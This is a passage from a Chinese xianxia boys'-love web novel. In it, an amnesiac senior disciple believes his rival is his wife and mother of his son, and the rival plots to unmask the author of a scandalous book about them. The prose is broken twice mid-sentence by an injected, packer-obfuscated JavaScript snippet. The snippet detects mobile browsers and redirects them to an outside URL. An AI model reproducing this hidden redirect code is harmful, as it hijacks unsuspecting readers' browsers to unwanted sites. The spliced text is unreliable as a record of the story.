闻敬渊动作顿住,看了看那张并不算宽敞的冰床,又抬手轻轻捂住自己仍旧隐隐作痛的胸口,无辜道:“只有一张床,而且我受伤了。” “受伤了更该老实点。” 风亭瞳毫不客气,“你打地铺,怎么不听我的话了?” 闻敬渊沉默了几秒,然后,他抬起眼,目光落在风亭瞳因为不悦而微微绷紧的脸上,忽然开口,唤了一声:“夫人……我真的很疼。” 风亭瞳大声道:“不许这么叫,以后也不许!还有,不许上床!” 闻敬渊被他这激烈的反应弄得怔了怔,他想了想,似乎觉得是称呼出了问题,于是换了个方向:“那你想听什么?阿亭?阿瞳?还是……” 他似乎在回忆什么,吐出两个字:“……心肝?” “闭嘴!” 风亭瞳只觉得一股热血直冲头顶,脸颊耳朵烫得厉害,恨不得立刻缝上闻敬渊的嘴。 都怪他记忆实在太好,那该死的《天枢峰秘史》里,心肝这个称呼,每每出现,都伴随着那些让人面红耳赤,不堪入目的亲密描写。 “不许这么叫,就叫师弟就好。” 闻敬渊看着他气得发红的耳根和瞪圆的眼睛,终于不再试图上床,也不再纠结称呼。他默默地转身,从风亭瞳带来的那堆东西里,扯过一床备用薄毯,又卷了点什么垫在下面,然后就在床不远处的地面上,铺开,躺了下去,背对着风亭瞳的方向,身影在昏暗的光线下,显得有些孤零零的。 风亭瞳看着他躺下,想起自己的计划,对着那个背影说道:“闻敬渊,你听好了,以后,我让你做什么,你就得做什么,明白吗?” 地上的人影似乎动了一下。过了片刻,闻敬渊低低的声音传来:“……嗯。” 他认命道:“毕竟你是下嫁给我的。” 风亭瞳:“…………” 两个大男人,谈什么嫁不嫁,下嫁不下嫁?成何体统,这混账话本的作者究竟有没有常识。 而此刻,蜷在冰冷地面薄毯上的闻敬渊又开口说:“而且你还给我生了个儿子,那么辛苦,我理应是该多迁就你一些的。” 风亭瞳差点吐血三升。 以前他觉得闻敬渊跟个哑巴似的,半天憋不出一个屁,虽然讨厌,但至少清静。现在他恨不得闻敬渊真的就是个哑巴。 3. 凭什么姓闻啊 第一晚,彼此还算安生。 风亭瞳裹着自己带来的云锦被,枕着玉枕,躺在总算不那么硌人的冰床上,身下的垫子隔绝了大部分寒意,被窝里也算暖和。 只是寒鉴洞府终究是玄冰寒玉构筑的,那股子无孔不入的沁入骨髓冷意,并非几床被褥能完全抵挡。 风亭瞳平日里作为修士,运转灵力护体,悬雪崖这点寒气自然不算什么,可睡觉的时候,是他身心最放松,戒备最低的时刻,灵力流转也趋于和缓。 于是,夜半时分,他硬生生被冻醒了。 那种冷像冰水一样从冰床深处蔓延上来,透过层层铺垫,丝丝缕缕地侵入四肢百骸。 风亭瞳蜷缩了一下,把被子裹得更紧,却无济于事。 他有些烦躁地睁开眼,借着冰窗透进来微弱的冰蓝色天光,看向不远处地上蜷缩着的身影。 闻敬渊就睡在离冰床不远的地面上,身下只垫了层薄毯,身上盖着同样不厚的一床备用被褥,背对着他,显然睡得正沉,丝毫没有被这洞府里足以冻醒风亭瞳的寒意所侵扰。 风亭瞳坐起身,抱着被子盯着那个安稳的背影看了半晌。 看来这是常年在此苦修,早已将抵御酷寒化作身体本能了。连睡梦中,灵力都会下意识地均匀地运转护持周身。 这一点细枝末节的体现,却让风亭瞳心里那点不甘又隐隐冒头,闻敬渊的修为功力能稳稳压他一头,看来并非全无道理。 在这种近乎自虐般的严苛环境下,还能如此自律,将修炼融入日常起居的每一刻相比之下,自己栖竹院那方被金镶玉竹环绕,温暖舒适的小天地,平日里的修行风亭瞳虽然也算勤勉,但确实显得安逸了许多。 闻敬渊这个人,在某些方面,可真是变态。 风亭瞳想起闻敬渊平日里鲜少出席太上宗那些对外的重大活动或庆典,连宗门内部的许多集会也常常缺席。 以至于许多新入门的弟子,只听说过大师兄闻敬渊这个名号,知道他厉害,是玄苍长老亲传,却根本没见过其人真容,神秘得很。 风亭瞳对此一直有些不服气,觉得闻敬渊算哪门子大师兄?从未见他指点过师弟师妹,也没见他为宗门庶务出过半分力,根本没有担起过大师兄应有的责任和义务。 空有实力和名头罢了。 所以风亭瞳从来没见过闻敬渊叫大师兄。 眼下看着闻敬渊在如此寒冷环境中依旧睡得安稳沉静,再对比自己被冻醒的窘境,风亭瞳心里那点不服气,又混杂着不爽。 凭什么这家伙就能睡得这么香? 这念头一起,就有些压不住,风亭瞳轻手轻脚地下了冰床,赤脚踩在冰凉刺骨的玄冰地面上,冻得他脚趾一缩。 他走到闻敬渊旁边,蹲下身,盯着那张在睡梦中依旧没什么表情的侧脸,心里盘算着恶作剧,比如,把这家伙身上的薄被悄悄掀开,让他也尝尝被冻醒的滋味。 他伸出手,指尖掀开,地上的人却猛地睁开了眼睛。 那双眼睛在睁开的瞬间,没有丝毫刚睡醒的迷茫,反而锐利如冰锥,带着警醒和冷意,直直刺向风亭瞳,那是属于剑修的本能反应,是常年身处孤绝险地,对任何靠近的气息都会瞬间戒备的防御姿态。 风亭瞳被这突如其来的凌厉目光看得心头一跳。 然而,闻敬渊在看清蹲在面前的人是风亭瞳后,几乎是以肉眼可见的速度,迅速软化,消弭,他眼中的冰寒与警惕褪去,换上了风亭瞳熟悉的困惑和古怪温顺神色。 闻敬渊眨了眨眼,似乎才彻底清醒过来,他看了看风亭瞳伸出的手,又看了看自己身上的被子,然后很自然地用一种近乎惭愧的语气开口:“我这是……踢被子了吗?” 他目光落在风亭瞳脸上,那眼神里竟然带上了一丝温柔:“师弟,你对我真好,半夜还起来给我盖被子。” 风亭瞳:“…………” 他伸出的手还僵在半空,指尖捏着被角,看着闻敬渊那双写满了你真是个好人的眼睛,听着全然误解又真挚无比的话语。 “……对啊,我这不是怕你着凉,好好盖着。” 风亭瞳几乎是咬着牙说出这话,一把扯过那床薄被,向上狠狠一拉,直接盖住了闻敬渊的头脸,将那张让他无比心烦的脸和那双真挚的眼睛,彻底蒙在了被子下面。 做完这一切,风亭瞳转身就走,噔噔噔几步回到冰床上,把自己裹进被子里,背对着闻敬渊的方向,气得胸口起伏。 第二天,风亭瞳本着使唤闻敬渊,观察他弱点的初衷,开始给他安排任务。 “你按照你平日里自己的安排,该做什么做什么,不用管我。” 于是,风亭瞳就坐在冰床上,看着他带来的一本杂记,眼角余光却一直注意着闻敬渊的动向。 只见闻敬渊很听话地起身,先是仔细地将昨夜略有凌乱的寒鉴洞府打扫了一遍,其实也没什么可打扫的,无非是把冰面上的浮尘用灵力拂去,将歪斜的蒲团摆正。 闻敬渊看起来十分爱整洁。 然后,他走到洞府一侧简陋的石架前,取下一本看起来已经翻阅过很多遍,边角都起了毛边的修行典籍,回到寒玉台上,盘膝坐下,开始安静地翻阅,参悟。 风亭瞳看了一会儿,他放下自己的书,走过去,毫不客气地伸手,从闻敬渊手里抽走了那本典籍。 闻敬渊抬起头,看着他,眼神里没有被打扰的不悦,只有询问。 风亭瞳快速翻看着手里的典籍,内容虽然高深,但确实是太上宗藏书阁里可以借阅到的,不算特别稀有的高阶功法注解。 他翻来覆去看了几遍,没看出什么特别的。 风亭瞳盯着闻敬渊,语气带着审问:“喂,玄苍师祖他老人家有没有私下给你开过什么小灶?给你些不传之秘,或者特别的指点?” 闻敬渊很认真地想了想,然后摇头:“没有。” 风亭瞳不信,眉毛挑起:“你别骗我,他可是你师尊,一点私货都没传给你?那你这修为怎么来的?” 闻敬渊看着他,解释道:“你可是我……师弟。” 他不太习惯这个称呼,闻敬渊本来想叫夫人的,想起风亭瞳不喜欢,生生顿住。 “我怎么会骗你,师祖他向来行踪不定,常年云游在外,很少回宗门,即便回来也多是闭关清修或与掌门议事,指点是有的,但并无什么小灶之说。” 玄苍长老这些年的确很少在太上宗露面,作为执掌五大印之一的人,他的行踪飘忽不定,别说悉心教导弟子,就连闻敬渊这个名义上的亲传,能见到他老人家的次数,恐怕也是屈指可数。 说起来,这位地位尊崇的师祖,还真没在明面上照顾到闻敬渊什么。 说起这五大印,便牵扯出另一段往事。 天地分阴阳,世道有正邪。 除了人族,妖族,魔族这些广为人知的生灵外,这世间还曾存在一种更为诡谲,难以名状的存在,名为魇。 它们侵蚀心智,带来灾厄与疯狂,魇祸肆虐,生灵涂炭。 当时最强大的五个修仙宗门,集结所有力量,付出了惨烈代价,才将魇的主体封印于一处名为圣墟的绝地之中。 魇这种存在很是顽固,每隔几十年,或上百年,便会蠢蠢欲动,试图寻找一个合适的载体,妄图借助鲜活的生命与积蓄力量,冲破那束缚了它无数岁月的封印。 其本体据说在当年那场惨烈至极的封印大战中,早已被五大宗门集结的旷世之力,击溃打散,不复最初的完整形态。 而被选作封印之地的圣墟,名字听起来恢宏霸气,仿佛是什么上古秘境洞天福地,实则不然,那是一片被彻底抽干了生机,真正的荒芜之地。 大地龟裂,寸草不生,空气中游离的灵气稀薄到近乎于无。别说滋养万物,就连最基本的五行循环,在那里都近乎停滞。 当初的先辈们,正是看中了这种极致的空死,才选择将魇的残余封禁于此,没有了滋养的源头,再强大的存在,也会在无尽的时间长河中,被慢慢消磨,耗尽,最终归于彻底的虚无。 然而,他们低估了魇的诡谲,它并未坐以待毙,而是以一种近乎残忍的方式,将自己碎裂,如蛰伏在圣墟,只为了保留哪怕一丝一毫卷土重来的可能。 每隔一段岁月,总会有那么一片碎片,捕捉到某个足够强大,也足够契合的到载体,然后,跨越封印的薄弱之处,寻找合作的可能。那个最终接纳了魇的力量,并甘愿与之融合,便被称作魇君。 据说,上一任搅动风云,几乎撼动封印的魇君,在其堕落之前,本身亦是那个时代举世闻名的天才人物,在当时的宗门百家中,声名赫赫,前途无量。 因无法满足的野心,极致贪婪,他选择了与魇合作,他的结局,也成为后世所有修士入门时,必须被反复告诫,引以为戒的血淋淋的教训,与魇为伍,纵使能换取一时无匹的力量,最终也只会被其彻底吞噬,神魂俱灭,永世不得超生,更会沦为祸乱苍生的工具,遗臭万年。 然而,成为魇君的条件,也并非那么容易达成,非惊才绝艳,心志坚毅的天才不可。 因为魇的力量本身就带着极强的侵蚀性与毁灭性,若载体本身的根骨,经脉,神魂不够强大坚韧,意志稍有动摇,魇力一入体,瞬间将载体的身心彻底摧毁,落得个爆体而亡,神魂崩散的下场。 唯有那些天赋异禀,心志如铁的绝顶人物,才有可能在魇的诱惑与自身的欲望交织下,完成那危险而扭曲的融合。 玄苍长老每年都会至少前往圣墟一次,亲自巡视封印。 而维持那庞大封印稳定的关键,便化作了五枚印钥,由五大宗门各自保管,其执掌者,便被尊称为守印者。 玄苍长老,便是太上宗的守印者。 成为宗门守印者,是每一个入门弟子的追求,那意味着强大,宗门第一人。 风亭瞳心里对闻敬渊有私藏那点怀疑没有消散。 但接下来几天,他观着闻敬渊在悬雪崖的生活,真是……相当,相当的无聊。 清晨在寒玉台上打坐,吸收天地间最凛冽也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123116|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最精纯的冰寒之气。然后便是翻阅那些修行典籍,偶尔提笔,风亭瞳特意去看过那些誊写的内容,都是些扎实的基础理论和高阶功法的常规注解,确实能从藏书阁借到,没什么稀奇。 修炼的间隙,闻敬渊就会去喂兔子。 没错,闻敬渊在悬雪崖养了一窝雪兔。 那是一种通体雪白,只有眼珠是赤红如宝石的灵兽,天生喜寒,只能在极寒之地存活,离了悬雪崖这种环境,反而会迅速衰弱。 它们栖息在洞府后面一处被闻敬渊用阵法稍作改造,积雪更厚寒风稍缓的小小冰谷里。 一共五只。 每一只都圆滚滚,毛茸茸的,像五个会移动的雪球,挤在一起时,几乎分不清头和尾,毛发蓬松洁净,在雪地里几乎融为一体,只有那双红宝石般的眼睛滴溜溜转着,透出些许机警和温顺。 这天,闻敬渊拿着几株特意培育带着淡淡灵气的冰凌草去喂食。 风亭瞳跟在他后面,看着那五团白影蹦跳着凑过来,小鼻子翕动,三瓣嘴飞快地咀嚼着草叶。 他忽然来了点兴致,指着那几只几乎一模一样的兔子问:“它们有名字吗?” 闻敬渊正将草叶均匀地分放在几块干净的石头上,抬起头,目光在那几只兔子身上扫过,似乎有些为难:“以前取过,叫兔一,兔二,兔三,兔四,兔五。” “后来……它们长得越来越像,我也分不清了。” 风亭瞳蹲下身,随手捞起离自己最近的一只。那兔子被突然抱起,似乎受了惊,四只短短的腿在空中胡乱蹬踹,赤红的眼睛瞪得圆圆的,耳朵向后贴紧,入手是意料之外的沉甸甸,柔软的绒毛下,是扎实温热的身体。 风亭瞳双手举着这只胖嘟嘟的雪兔,和它大眼瞪小眼,兔子挣扎了几下,发现挣脱不开,便渐渐安静下来,只是小鼻子依旧急促地翕动着。 风亭瞳举着那只还在他手里不安分蹬腿的胖兔子,听了闻敬渊那取名法,忍不住撇了撇嘴,语气嫌弃:“你这取名也太敷衍了,跟没取一样。” 闻敬渊正将最后一株冰凌草放在石头上,闻言直起身,他看向风亭瞳,流露出一点虚心受教的神色,点了点头,语气认真:“嗯,我是不太会取名,所以儿子的名字,还是由你来取吧。” 风亭瞳:“…………” 风亭瞳已经很敏锐地察觉到了,闻敬渊现在动不动,就有意无意地就把话题往那个根本不存在,只存在于他混乱记忆和那本破书里的儿子身上绕。 真是十分有心机的一个男人。 表面一副纯良温顺,记忆错乱的傻样。 风亭瞳觉得有点不可思议,闻敬渊平日看着那么冷淡孤高,拒人千里,还以为他天生亲缘淡薄,没什么世俗的牵绊和欲望,原来骨子里竟是这么喜欢小孩的吗? 他放下手里挣扎的兔子,那团白影立刻蹦跳着跑回同伴身边,风亭瞳故意顺着闻敬渊的话问:“那你想取个什么名?” 闻敬渊似乎早就想过这个问题,几乎没有犹豫,脱口而出:“闻……” 一个“闻”字刚吐出来,还没说下文,风亭瞳瞬间炸毛了,瞪着闻敬渊,声音都拔高了些:“喂!凭什么姓闻啊!” 他风亭瞳“生”的孩子,凭什么跟闻敬渊姓? 闻敬渊被他这突如其来的激烈反应弄得愣了一下,立刻改口,语气平和,安抚道:“……姓风也行的,我没意见。” 他看着风亭瞳依旧气鼓鼓的侧脸:“毕竟孩子是你生的,你开心就好。” 姓闻?凭什么? 闻敬渊这么穷,这寒鉴洞府光溜溜的,除了冰就是雪,连件像样的摆设都没有,简直可以称得上家徒四壁,他除了师从玄苍长老,长了张还算能看的皮相,以及那身确实不错的修为天资之外,还有什么拿得出手的? 姓闻,难道要继承他这个除了冷什么都没有的破洞府。 跟风亭瞳姓风可就完全不一样了,那意味着,是他风家的人,风氏乃是大渊传承久远的显赫世家,底蕴深厚,富庶繁华,在九州地界上,连皇室都要礼让三分。 做他风亭瞳的孩子,生下来就是锦衣玉食,出入前呼后拥,未来前途无量,简直不要太舒服。 他顺着这思路想得越来越远,想着想着,他突然一个激灵,猛地回过神来。 等等! 哪来的孩子?根本就没有那个孩子,他居然被闻敬渊三言两语带进了沟里。 意识到这一点,风亭瞳恶狠狠地瞪了闻敬渊一眼,后者正垂着眼,很乖顺地站在一旁。 不过,气归气,风亭瞳的脑子还在转,他冷静下来,看着闻敬渊这副模样,闻敬渊现在表现的这副傻样,未必全是真的。 说不定他是在自己面前刻意藏拙?闻敬渊心智绝不可能真的像他现在表现的这么简单。 短短几天,能观察出什么真东西? 风亭瞳在心里冷笑。 他不急。 反正,他有的是耐心和时间,至少,找到足以在下次宗门大比上彻底击败他的弱点。 4. 师弟,你腰好细,人也好香哦 闻敬渊丝毫感知不到风亭瞳此刻复杂的心理活动。 他那颗被一掌拍得逻辑错乱,又被《天枢峰秘史》强行灌输了一套荒唐过往的脑袋里自有一套运转规律。 在他此刻的想法里,风亭瞳就是下嫁给他的道侣,是与他育有一子需要他迁就和照顾的人。 至于风亭瞳那些试探,观察,偶尔的暴躁和嫌弃,都被他自动解读成了道侣之间亲昵带着点小脾气的互动。 风亭瞳在悬雪崖硬生生挨了几日后,被那夜半冻醒的滋味弄得实在难受,也尝试着模仿闻敬渊睡觉时不盖那么厚实的云锦被,同时分出一缕心神,时刻保持警惕,试图在睡梦中也能维持灵力对寒气的抵御。 然而,这对他来说实在太过勉强。 风亭瞳并非闻敬渊那种早已将苦修融入本能的怪物,强行为之的结果,便是连续几夜睡眠质量奇差,浅眠多梦,心神消耗大。 第二天醒来,眼底便泛起了淡淡的青黑,整个人看上去恹恹的,没什么精神,连平日里总是神采奕奕的眼睛都黯淡了些许。 修士修行到高深境界,确实可以达到时时刻刻,行走坐卧皆在吐纳修行感悟天地的地步,睡觉本身也是一种特殊的修炼与恢复。 但显然,风亭瞳目前的修为,还远远没达到那个浑然天成的天人合一之境,这般刻意违背自身习惯的模仿,不过是徒增疲惫。 风亭瞳这几日几乎是寸步不离地跟在闻敬渊身后,闻敬渊去喂兔子,他就在旁边冷眼看着;闻敬渊誊写典籍,他就坐在对面翻自己的杂书;闻敬渊在寒玉台上打坐,他便也找了个不远不近的蒲团坐下,撑着下巴,看似闭目养神,实则早就睡过去了。 这种如影随形,落在闻敬渊那套错乱的记忆里,却有了另一番完全不同的解读。 他觉得,自己这位夫人实在是太黏人了。 虽然记忆有些模糊,但他依稀记得夫人年纪似乎比他小不少,嫁过来的时候还很年轻,甚至很小。 那么,这般天真烂漫,喜欢时时刻刻跟在夫君身边,依赖他,需要他也是正常的事吧? 想到这里,闻敬渊看向风亭瞳的眼神,便不自觉地带上了几分纵容和怜爱。 风亭瞳觉得,在悬雪崖的日子,除了冷点,无聊点,其他勉强还能忍受。 风亭瞳想跟闻敬渊切磋剑术,闻敬渊说自己还伤着,便延后了。 唯一让风亭瞳浑身不自在,甚至毛骨悚然的就是闻敬渊时不时投向他的那种眼神,黏糊糊。 他被那眼神看得鸡皮疙瘩一阵阵地冒,不知道闻敬渊脑子里到底在转些什么荒唐念头,但直觉告诉他,绝不是什么好事。 风亭瞳忍不住又想起那本该死的《天枢峰秘史》。 书里将他们二人描绘成从小一起长大的竹马竹马,闻敬渊这个师兄一直隐忍着对师弟深沉而扭曲的爱恋,满心满眼都是他,思想相当之猥琐,行为更是可称之为下流不堪。 书中还详细描写了闻敬渊如何在风亭瞳成年礼后,按捺不住心中欲念,将他带到后山无人处,压在那茂密的草丛里,两人不知天地为何物。 字里行间充斥着露//骨的描绘,什么“师弟浑身的皮肉比那三月枝头最嫩的桃花瓣还要娇嫩,还要芬芳”。 风亭瞳当初看到这里时,鸡皮疙瘩掉了一地。 如今,看着闻敬渊时不时投来的那种恶心巴交的眼神,再联想到那本书里的龌龊情节,风亭瞳只觉得一股邪火冒。 他咬牙切齿地想,要是让他抓到是哪个混账王八蛋写的这本破书,他一定不会放过那个人。 定要将其抽筋剥皮,挫骨扬灰,让那个人也尝尝被胡编乱造,污秽言语裹挟的滋味。 不过,闻敬渊那颗逻辑自洽的脑袋里,还是对一件事感到了持续的好奇与困惑。 这天,他看着风亭瞳又一次抱着自己的云锦被,走向那宽大冰冷的冰床,准备独自就寝,终于忍不住,开口问道:“为什么我们不睡在一起?” 他努力回忆:“我们以前都是睡一起的。” 风亭瞳正在铺被子的手猛地一顿,他背对着闻敬渊,脸上瞬间爬满了嫌恶和难以置信。 这个闻敬渊,可真是个下流无耻之徒,表面装得跟块冰似的,原来脑子里一直转悠着这种龌龊念头! 以前在他面前摆出那副清高寡欲,不食人间烟火的死人脸,结果内里跟禽兽也没什么两样,满脑子都是那档子事。 果然是知人知面不知心,现在记忆错乱了,倒是把本性暴露无遗。 但现在不是撕破脸的时候。 风亭瞳深吸一口气,他不断在心里告诫自己:忍。 必须忍。 小不忍则乱大谋。 他目的是为了麻痹闻敬渊,观察他,利用他,最终等他把闻敬渊彻底掌控,像驯狗一样玩够了,才算狠狠报复回来,一雪前耻。 他慢慢转过身,脸上已经换上了一副混杂着为难,抗拒和一丝后怕的神情:“当然是因为我不想再生孩子了。” 他垂下眼睫,避开了闻敬渊的视线,将心有余悸演得惟妙惟肖。 闻敬渊听了,似乎没料到是这个理由。他上前几步,伸出手,很自然地想去拉风亭瞳垂在身侧的手,同时凑近了些,声音放低,安抚道:“怎么会呢?我们也不是那么容易就能得来一个孩子的。” 风亭瞳下意识地想甩开他的手,往后躲。可闻敬渊的手看似随意,力道却大得惊人,五指一收,便将他的手腕牢牢握住了,温热干燥的掌心紧紧贴着风亭瞳微凉的皮肤。 风亭瞳挣了一下,没挣开,心里暗惊:这家伙,到底哪儿来这么大的手劲?平日里比试,怎么没觉得他力气有这么霸道? 挣不脱,风亭瞳心思电转,脸上的抗拒瞬间化作了更深切的哀戚。他抬起眼,眼眶微红,一半是气的,一半是演的,眼神湿漉漉地看向闻敬渊,声音里带上了一丝哽咽般的委屈:“因为我生孩子有阴影了,真的好疼,好害怕,你会理解我的是吗?” 风亭瞳一副泫然欲泣,我见犹怜的模样。 这招果然奏效。 闻敬渊看着他这副样子,眼神里的困惑瞬间被浓烈的心疼和愧疚取代。他立刻松开了握着手腕的手,转而张开双臂将风亭瞳整个人拥进了怀里。 宽阔的胸膛将风亭瞳完全罩住。 闻敬渊一只手轻轻拍抚着风亭瞳的后背,另一只手扣在了风亭瞳的腰侧,沉甸甸的疼惜:“师弟你辛苦了,都是我不好。” 风亭瞳被他这突如其来的拥抱弄得浑身一僵。更让他头皮发麻的是,闻敬渊那只扣在他腰间的大手,掌心灼热,指节分明,隔着薄薄的衣料传来烫人的温度。 那手不仅扣着,还不老实地在他腰侧最敏感的那道弧线上,轻轻摩挲了两下 随即,闻敬渊手臂收紧,将他箍得更紧了些,几乎要嵌进自己怀里。 风亭瞳只觉得一股电流般的酥麻感,伴随着强烈的被冒//犯的不适,瞬间从被摩挲的腰侧炸开,窜遍四肢百骸。 他腰身控制不住地一软,险些没站稳。 风亭瞳脸上的表情瞬息万变,从惊愕到羞愤再到暴怒,扭曲得几乎要维持不住那副可怜的假面。 偏偏始作俑者闻敬渊还一无所觉,他把下巴轻轻搁在风亭瞳的肩窝,鼻尖蹭了蹭风亭瞳颈侧散落的发丝,甚至还深深吸了一口气,然后贴着他耳边,又傻气又真心实意地感叹道:“师弟,你腰好细,人也好香哦。” 风亭瞳:“…………” 他在听到这句话的瞬间,一股气血直冲头顶,他耳朵脖子全红了,不是羞的,纯粹是气的! 风亭瞳猛地抬起手,狠狠按住了闻敬渊那只还在他腰间作乱的手,他压抑不住的怒意和颤抖:“……你!给!我!先!松!开!” 闻敬渊被手上传来的疼痛弄得愣了一下。 他看着风亭瞳气得通红的脸颊和几乎要喷火的眼睛,有些茫然地眨了眨眼,但还是依言松开了手臂,往后退了半步。 看着胸膛剧烈起伏,明显气得不轻的风亭瞳,闻敬渊脸不好意思摸了摸自己的鼻子,语气诚恳又无辜,甚至还有一丝宠溺。 “师弟,我们孩子都生了,你还是好容易就害羞。” 风亭瞳看着闻敬渊那张写满我懂你了的脸。 他想砍了闻敬渊! 立刻!马上!就用众生剑!把他大卸八块!剁碎了喂兔子! 闻敬渊看着风亭瞳在洞府里四处张望,关切:“师弟,你怎么了?在找什么?” 风亭瞳没理他,他的众生剑呢?刚才进门的时候好像随手放在了,对,放在冰案上了,他猛地转身,就要朝冰案走去。 闻敬渊立刻也跟了上去,想要帮忙:“我帮你找。” “你离我远一点。” 风亭瞳头也不回地道。 他现在看见闻敬渊那张脸,闻到闻敬渊身上那股清冽的冰雪气息,就觉得血气上涌,太阳穴突突地跳。 闻敬渊被他这突如其来的呵斥弄得脚步一顿,停在了原地。他看着风亭瞳紧绷的背影,脸上困惑,刚才还好好的,虽然师弟看起来有点生气,但至少还愿意跟他说话,突然之间,师弟就像被踩了尾巴的猫,浑身炸毛,连靠近都不让了。 “师弟,你怎么了?” 风亭瞳走到冰案边,一把抓起了自己的众生剑。冰凉的剑鞘入手,稍稍压下了他心头的暴戾。 他握着剑柄,缓缓转过身,咬牙道:“我怕我……忍不住,就要扑倒你。” 风亭瞳的意思其实是,他怕自己控制不住直接拔剑把闻敬渊砍翻在地。 然而,这话听在闻敬渊那里完全变了味。他先是一愣,随即,那张素来没什么表情的脸竟以肉眼可见的速度,迅速漫开了一层薄薄清晰的红晕,从耳根一直蔓延到脖颈。 他声音都低了八度,带着点手足无措的羞赧和欢喜。 “……师弟,你别这样说。” 他小声嘟囔了一句,语气扭捏得让风亭瞳差点把刚压下去的血气又给激上来。 风亭瞳看着他这副娇羞的模样,不行了,再在这里待下去,他也许真的会做出什么无法挽回的事情。 “我得离开悬雪崖几日,去处理些峰内事务。” 不然他怕自己下一刻就真的忍不住,在悬雪崖这冰天雪地里,把闻敬渊这个祸害给杀了,就地挖个坑埋了一了百了。 闻敬渊一听他要走:“师弟,那你早日回来。” 风亭瞳被他这眼神看得头皮发麻,一刻也不想多待,胡乱点了点头,抓起剑,几乎是逃也似的,御剑冲出了寒鉴洞府,头也不回地飞下了悬雪崖。 天枢峰近日确实没什么大事。 宗门大比刚刚结束,弟子们或是抓紧时间消化比试所得,或是放松休整,峰内事务也相对清闲。 风亭瞳回到久违的栖竹院时,这里竟然还是白日,且天气晴朗,悬雪崖果然跟外界连时节都不同,风辰正拿着把大扫帚,有一下没一下地扫着院中青石板上的落叶。 檐下的金色毛球纤纤正摊着肚皮睡觉,一切都和他离开前没什么两样。 风辰一抬眼看见自家少爷风尘仆仆地出现在院门口,眼睛一亮,立刻扔了扫帚迎上来:“少爷!您可算回来了!” 风亭瞳没心思跟他寒暄,径直走进屋里,倒了杯冷茶灌下去,他朝风辰勾了勾手指,脸色严肃:“风辰,你替我查一件事。” 风辰见他神色凝重,凑近了些:“少爷,什么事?您尽管吩咐。” 风亭瞳从袖袋深处,摸出那本被他揉捏得边角都有些起皱的《天枢峰秘史》,递了过去,语气森寒:“给我查清楚,这本书到底是哪个胆大包天,活得不耐烦的混账东西写的!” 风辰接过书,脸上还带着点好奇,依言翻开。 刚看了没两页,他脸上的表情就开始剧烈变化,仿佛看到了什么不可思议的东西,随即眉头紧锁,眼中流露出深深的疑惑,接着,他猛地抬起头,看向自家少爷,眼神里骤然迸发出一种恍然大悟的了然, “少,少爷,” 风辰的声音都变调了,语无伦次,“这,这……夫人一直盼着您能为风家传宗接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123117|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代,延续香火,可,可……也不是这么个传法啊。” 他显然完全误会了,以为自家少爷突然开窍,搞出了什么惊世骇俗的成果,还被人写成了书。 风辰急得直跺脚:“这,这让我以后怎么跟夫人交代啊!夫人要是知道了……” “闭嘴!” 风亭瞳,“你想哪儿去了,我是让你去查!这本书的作者,是谁写的,听明白了吗?!” “这本书,是我在璇玑峰一个师妹那里偶然发现的,你不是平日里跟玉衡峰,璇玑峰的人混得挺熟吗?去给我暗中打听,查,一定要把幕后写这东西的王八蛋给我揪出来!” 风辰连忙收起脸上那些丰富的表情,正色道:“是,少爷,我明白了,您放心,我一定把这事儿查个水落石出!” 风辰虽是仆从,但自幼跟在风亭瞳身边,又是在风家那样的大族里历练过,人情世故极为通透。 他平日里借着替风亭瞳跑腿,打理杂务的机会,与太上宗其他几个仙峰的不少弟子都混了个脸熟,关系处得不错。 风亭瞳偶尔也会指点他一些基础的修行法门和小法术,助他强身健体,耳聪目明,但天枢峰核心的剑道传承和修炼秘技,那是绝不敢外传的。 风辰本就是风亭瞳的母亲特意派来照顾儿子生活起居的,在大家族里浸淫过的人,自有一套生存和交际的本事。 在这太上宗,他靠着机灵勤快,嘴巴甜,会来事,加上背后站着天枢峰首座弟子这层关系,倒也混得如鱼得水,消息颇为灵通。 得了少爷的死命令,又事关少爷的清誉,风辰立刻打起了十二分精神,将那本《天枢峰秘史》小心收好,脸上露出了属于风家得力仆从精干而可靠的神色:“少爷,您就等我的消息吧。” 在栖竹院清净了两日,风辰那边就有了消息。 “少爷,我打听了。” 风亭瞳:“说。” “是这样的,” 风辰,“我跟璇玑峰那几个常在一起研讨……呃,交流心得的小师妹旁敲侧击地问了,这本书,是这一个月才开始在私下里流传开,速度还挺快。” “璇玑峰的小师妹说,往常这类描绘同门师兄弟之间深厚情谊的话本子,大多都是她们峰里一些师妹们私下写着玩,互相传阅,图个乐子。但这本《天枢峰秘史》,怪就怪在,它没有署名,不知道最初是从谁手里流出来的,反正就那么悄无声息地出现了,然后一下子就……火起来了。” 风亭瞳听着,眉头越皱越紧。 无署名?更显得做贼心虚! “你是怎么打听的?” 风亭瞳狐疑地看着风辰,这小子不会说了什么不该说的吧? 风辰脸上闪过一丝不自然,挠了挠头,嘿嘿干笑了两声:“少爷,这个嘛,我假装我也喜欢看您跟闻师兄的话本,表现出极大的兴趣,这才成功打入了她们内部,套出了这些话。” 风亭瞳:“…………” “我还顺便看了几本她们以前写的其他本子,说实话,少爷,” 他咂咂嘴,语气竟然带着点比较后的专业评价,“那些都比不上这本《天枢峰秘史》。” “嗯?” 风亭瞳危险地眯起了眼。 